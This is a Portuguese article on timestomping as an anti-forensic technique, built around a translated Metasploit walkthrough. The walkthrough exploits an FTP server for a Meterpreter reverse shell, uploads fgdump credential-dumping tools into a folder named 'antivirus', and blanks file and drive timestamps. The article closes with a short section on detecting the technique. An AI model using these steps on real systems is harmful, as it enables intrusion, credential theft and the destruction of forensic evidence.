TIMESTOMPING (antiforensics)

Manipulando data/hora de arquivos

 

 

Manipular data/hora de arquivos é uma técnica anti-forense comum, que pode ser executada por Pentesters os quais são profissionais especialistas em segurança ofensiva que somente testam a segurança após firmado um contrato com a empresa. Entretanto esta técnica também é utilizada por crackers, os quais por motivos não tão nobres, fazem uso da técnica para dificultar a identificação dos danos gerados por eles.

Embora não seja uma solução definitiva, já que existem outros artefatos que não são modificados, a técnica sendo utilizada, pode aumentar significativamente o tempo/custo de uma investigação.

De acordo como MITRE ATT & CK, “os adversários podem modificar os atributos de hora do arquivo para ocultar novas ou alterações em arquivos existentes. Timestomping é uma técnica que modifica os carimbos de data/hora de um arquivo (os horários de modificação, acesso, criação e alteração), geralmente para imitar os arquivos que estão na mesma pasta. Isso é feito, por exemplo, em arquivos que foram modificados ou criados pelo adversário para que não pareçam visíveis aos investigadores forenses ou ferramentas de análise de arquivos. O timestomping pode ser usado junto com o nome do arquivo Masquerading para ocultar malware e ferramentas.”

A detecção de manipulação de pode ser feita bom base na análise de três artefatos: o $MFT , bem como os registros no $LogFile e o $USNjrnl, arquivos de link, arquivos de pré-busca e logs de eventos do Windows – que podem fornecer informações valiosas durante as investigações e diversificar os artefatos disponíveis para os examinadores. As possíveis inconsistências encontradas nsses artefatos contêm informações sobre programas executados ou timestamps adicionais, podem ser usados ​​para provar a falsificação do timestamp.

Exemplo de aplicação da técnica pela Offensive Security.

Traduzido e adaptado de: https://www.offensive-security.com/metasploit-unleashed/timestomp/

Interagir com a maioria dos sistemas de arquivos é como andar na neve … você deixará pegadas. O quão detalhadas são essas pegadas, o quanto pode ser aprendido com elas e quanto tempo elas duram, tudo depende de várias circunstâncias. A arte de analisar esses artefatos é a perícia digital. Por vários motivos, ao conduzir um teste de penetração, você pode tornar difícil para um analista forense determinar as ações que você executou.

A melhor maneira de evitar a detecção por uma investigação forense é simples: Não toque no sistema de arquivos! Esta é uma das coisas bonitas do Meterpreter, ele carrega na memória sem gravar nada no disco, minimizando muito os artefatos que deixa no sistema. No entanto, em muitos casos, você pode ter que interagir com o sistema de arquivos de alguma forma. Nesses casos, o timestomp pode ser uma ótima ferramenta.

Vejamos um arquivo no sistema e os horários MAC (modificado, acessado, alterado) do arquivo:

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt

Created Date: 5/3/2009 2:30:08 AM

Last Accessed: 5/3/2009 2:31:39 AM

Last Modified: 5/3/2009 2:30:36 AM

Vamos agora começar explorando o sistema e carregando uma sessão do Meterpreter. Depois disso, carregaremos o módulo timestomp e daremos uma olhada rápida no arquivo em questão.

msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Connecting to FTP server 172.16.104.145:21…

[*] Connected to target FTP server.

[*] Trying target Windows 2000 SP0-SP4 English…

[*] Transmitting intermediate stager for over-sized stage…(191 bytes)

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage…

[*] Uploading DLL (75787 bytes)…

[*] Upload completed.

[*] meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1218)

meterpreter > use priv

Loading extension priv…success.

meterpreter > timestomp -h

Usage: timestomp OPTIONS file_path

OPTIONS:

-a Set the “last accessed” time of the file

-b Set the MACE timestamps so that EnCase shows blanks

-c Set the “creation” time of the file

-e Set the “mft entry modified” time of the file

-f Set the MACE of attributes equal to the supplied file

-h Help banner

-m Set the “last written” time of the file

-r Set the MACE timestamps recursively on a directory

-v Display the UTC MACE values of the file

-z Set all four attributes (MACE) of the file

meterpreter > pwd

C:\Program Files\War-ftpd

meterpreter > cd ..

meterpreter > pwd

C:Program Files

meterpreter > cd ..

meterpreter > cd Documents\ and\ Settings

meterpreter > cd P0WN3D

meterpreter > cd My\ Documents

meterpreter > ls

Listing: C:\Documents and Settings\P0WN3D\My Documents

======================================================

Mode Size Type Last modified Name

—- —- —- ————- —-

40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .

40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 ..

40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 My Pictures

100666/rw-rw-rw- 28 fil Wed Dec 31 19:00:00 -0500 1969 test.txt

meterpreter > timestomp test.txt -v

Modified : Sun May 03 04:30:36 -0400 2009

Accessed : Sun May 03 04:31:51 -0400 2009

Created : Sun May 03 04:30:08 -0400 2009

Entry Modified: Sun May 03 04:31:44 -0400 2009

Vejamos os tempos MAC exibidos. Vemos que o arquivo foi criado recentemente. Vamos fingir por um minuto que esta é uma ferramenta supersecreta que precisamos esconder. Uma maneira de fazer isso é definir os horários do MAC para corresponder aos horários do MAC de outro arquivo no sistema. Vamos copiar os tempos do MAC de cmd.exe para test.txt para torná-lo um pouco melhor.

meterpreter > timestomp test.txt -f C:\\WINNT\\system32\\cmd.exe

[*] Setting MACE attributes on test.txt from C:\WINNT\system32\cmd.exe

meterpreter > timestomp test.txt -v

Modified : Tue Dec 07 08:00:00 -0500 1999

Accessed : Sun May 03 05:14:51 -0400 2009

Created : Tue Dec 07 08:00:00 -0500 1999

Entry Modified: Sun May 03 05:11:16 -0400 2009

Aqui vamos nós! Agora parece que o arquivo text.txt foi criado em 7 de dezembro de 1999. Vamos ver como fica no Windows.

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt

Created Date: 12/7/1999 7:00:00 AM

Last Accessed: 5/3/2009 3:11:16 AM

Last Modified: 12/7/1999 7:00:00 AM

Sucesso! Observe que há algumas pequenas diferenças entre os horários no Windows e no Metasploit. Isso ocorre devido à forma como os fusos horários são exibidos. O Windows está exibindo a hora em -0600, enquanto o Metasploit mostra a hora MC como -0500. Quando ajustado para as diferenças de fuso horário, podemos ver que eles correspondem. Observe também que o ato de verificar as informações dos arquivos no Windows alterou a hora do último acesso. Isso só mostra como os tempos de MAC podem ser frágeis e por que é preciso tomar muito cuidado ao interagir com eles.

Agora vamos fazer uma mudança diferente. No exemplo anterior, procurávamos fazer com que as alterações se integrassem, mas, em alguns casos, isso não é realista e o melhor que você pode esperar é tornar mais difícil para um investigador identificar quando as alterações realmente ocorreram. Para essas situações, timestomp tem uma ótima opção ( -b para branco) onde zera os tempos MAC de um arquivo. Vamos dar uma olhada.

meterpreter > timestomp test.txt -v

Modified : Tue Dec 07 08:00:00 -0500 1999

Accessed : Sun May 03 05:16:20 -0400 2009

Created : Tue Dec 07 08:00:00 -0500 1999

Entry Modified: Sun May 03 05:11:16 -0400 2009

meterpreter > timestomp test.txt -b

[*] Blanking file MACE attributes on test.txt

meterpreter > timestomp test.txt -v

Modified : 2106-02-06 23:28:15 -0700

Accessed : 2106-02-06 23:28:15 -0700

Created : 2106-02-06 23:28:15 -0700

Entry Modified: 2106-02-06 23:28:15 -0700

Ao analisar os tempos do MAC, o timestomp agora os lista como tendo sido criados no ano 2106 !. Isso é muito interessante, pois algumas ferramentas forenses mal escritas têm o mesmo problema e irão travar ao encontrar entradas como esta. Vamos ver como fica o arquivo no Windows.

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt

Created Date: 1/1/1601

Last Accessed: 5/3/2009 3:21:13 AM

Last Modified: 1/1/1601

Muito interessante! Observe que os horários não são mais exibidos e os dados estão configurados para 1º de janeiro de 1601. Alguma ideia de por que isso pode ser o caso? (Dica: http://en.wikipedia.org/wiki/1601#Notes )

meterpreter > cd C:\\WINNT

meterpreter > mkdir antivirus

Creating directory: antivirus

meterpreter > cd antivirus

meterpreter > pwd

C:\WINNT\antivirus

meterpreter > upload /usr/share/windows-binaries/fgdump c:\\WINNT\\antivirus\\

[*] uploading : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe

[*] uploaded : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe

[*] uploading : /usr/share/windows-binaries/fgdump/cachedump64.exe -> c:WINNTantivirusLsaExt.dll

[*] uploaded : /usr/share/windows-binaries/fgdump/cachedump64.exe -> c:WINNTantivirusLsaExt.dll

[*] uploading : /usr/share/windows-binaries/fgdump/pstgdump.exe -> c:WINNTantiviruspwservice.exe

[*] uploaded : /usr/share/windows-binaries/fgdump/pstgdump.exe -> c:WINNTantiviruspwservice.exe

meterpreter > ls

Listing: C:\WINNT\antivirus

===========================

Mode Size Type Last modified Name

—- —- —- ————- —-

100777/rwxrwxrwx 174080 fil 2017-05-09 15:23:19 -0600 cachedump64.exe

100777/rwxrwxrwx 57344 fil 2017-05-09 15:23:20 -0600 pstgdump.exe

100777/rwxrwxrwx 57344 fil 2017-05-09 15:23:18 -0600 servpw.exe

meterpreter > cd ..

Com nossos arquivos carregados, agora executaremos o timestomp neles para confundir qualquer investigador em potencial.

meterpreter > timestomp antivirus\\servpw.exe -v

Modified : 2017-05-09 16:23:18 -0600

Accessed : 2017-05-09 16:23:18 -0600

Created : 2017-05-09 16:23:18 -0600

Entry Modified: 2017-05-09 16:23:18 -0600

meterpreter > timestomp antivirus\\pstgdump.exe -v

Modified : 2017-05-09 16:23:20 -0600

Accessed : 2017-05-09 16:23:19 -0600

Created : 2017-05-09 16:23:19 -0600

Entry Modified: 2017-05-09 16:23:20 -0600

meterpreter > timestomp antivirus -r

[*] Blanking directory MACE attributes on antivirus

meterpreter > ls

40777/rwxrwxrwx 0 dir 1980-01-01 00:00:00 -0700 ..

100666/rw-rw-rw- 115 fil 2106-02-06 23:28:15 -0700 servpw.exe

100666/rw-rw-rw- 12165 fil 2106-02-06 23:28:15 -0700 pstgdump.exe

Como você pode ver, o Meterpreter não consegue mais obter uma lista de diretórios adequada.

No entanto, há algo a se considerar neste caso. Escondemos quando uma ação ocorreu, mas ainda será muito óbvio para um investigador onde a atividade estava acontecendo. O que faríamos se quiséssemos ocultar quando um kit de ferramentas foi carregado e onde ele foi carregado?

A maneira mais fácil de abordar isso é zerar os tempos da unidade completa. Isso tornará o trabalho do investigador muito difícil, pois a análise tradicional de linha do tempo não será possível. Vamos primeiro dar uma olhada em nosso diretório WINNT\system32 .

Timestomp_01.png

Tudo parece normal. Agora, vamos agitar muito o sistema de arquivos!

meterpreter > pwd

C:WINNT\antivirus

meterpreter > cd ../..

meterpreter > pwd

C:

meterpreter > ls

Listing: C:\

============

Mode Size Type Last modified Name

—- —- —- ————- —-

100777/rwxrwxrwx 0 fil Wed Dec 31 19:00:00 -0500 1969 AUTOEXEC.BAT

100666/rw-rw-rw- 0 fil Wed Dec 31 19:00:00 -0500 1969 CONFIG.SYS

40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 Documents and Settings

100444/r–r–r– 0 fil Wed Dec 31 19:00:00 -0500 1969 IO.SYS

100444/r–r–r– 0 fil Wed Dec 31 19:00:00 -0500 1969 MSDOS.SYS

100555/r-xr-xr-x 34468 fil Wed Dec 31 19:00:00 -0500 1969 NTDETECT.COM

40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 Program Files

40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 RECYCLER

40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 System Volume Information

40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 WINNT

100555/r-xr-xr-x 148992 fil Wed Dec 31 19:00:00 -0500 1969 arcldr.exe

100555/r-xr-xr-x 162816 fil Wed Dec 31 19:00:00 -0500 1969 arcsetup.exe

100666/rw-rw-rw- 192 fil Wed Dec 31 19:00:00 -0500 1969 boot.ini

100444/r–r–r– 214416 fil Wed Dec 31 19:00:00 -0500 1969 ntldr

100666/rw-rw-rw- 402653184 fil Wed Dec 31 19:00:00 -0500 1969 pagefile.sys

meterpreter > timestomp C:\\ -r

[*] Blanking directory MACE attributes on C:\

meterpreter > ls

meterpreter > ls

Listing: C:\

============

Mode Size Type Last modified Name

—- —- —- ————- —-

100777/rwxrwxrwx 0 fil 2106-02-06 23:28:15 -0700 AUTOEXEC.BAT

100666/rw-rw-rw- 0 fil 2106-02-06 23:28:15 -0700 CONFIG.SYS

100666/rw-rw-rw- 0 fil 2106-02-06 23:28:15 -0700 Documents and Settings

100444/r–r–r– 0 fil 2106-02-06 23:28:15 -0700 IO.SYS

100444/r–r–r– 0 fil 2106-02-06 23:28:15 -0700 MSDOS.SYS

100555/r-xr-xr-x 47564 fil 2106-02-06 23:28:15 -0700 NTDETECT.COM

…snip…

Então, depois disso, o que o Windows vê?

Timestomp_02.png

Surpreendente. O Windows não tem ideia do que está acontecendo e exibe tempos loucos em todos os lugares. No entanto, não fique muito confiante. Ao realizar essa ação, você também deixou bem claro que ocorreu alguma atividade adversa no sistema. Além disso, existem muitas fontes diferentes de informações de linha do tempo em um sistema Windows, além dos horários MAC. Se um investigador forense se deparar com um sistema que tenha sido modificado dessa maneira, ele estará correndo para essas fontes alternativas de informação. No entanto, o custo de conduzir a investigação acabou de aumentar.

Identificação

 

É recomendado o uso de uma combinação dos métodos como regras de carimbo de data/hora e análise de $LogFile, juntamente com outros artefatos do sistema, como arquivos LNKs e PF, para aumentar as chances de detectar ferramentas e técnicas de carimbo de data/hora. Além disso, as evidências armazenadas no $LogFile e $USNjrnl se torna obsoleto após um certo período de tempo, o que cria outro conjunto de problemas para os investigadores, pois a análise na máquina-alvo pode não ser feita por um longo período de tempo. Embora esta pesquisa tenha sido um primeiro passo sólido em uma visão mais ampla e holística da detecção de manipulação de carimbo de data/hora, este domínio precisa de mais pesquisas.

 

Referências

https://www.offensive-security.com/metasploit-unleashed/timestomp/, acessado em 21/09/2020.

https://attack.mitre.org/techniques/T1070/006/, acessado em 21/09/2020.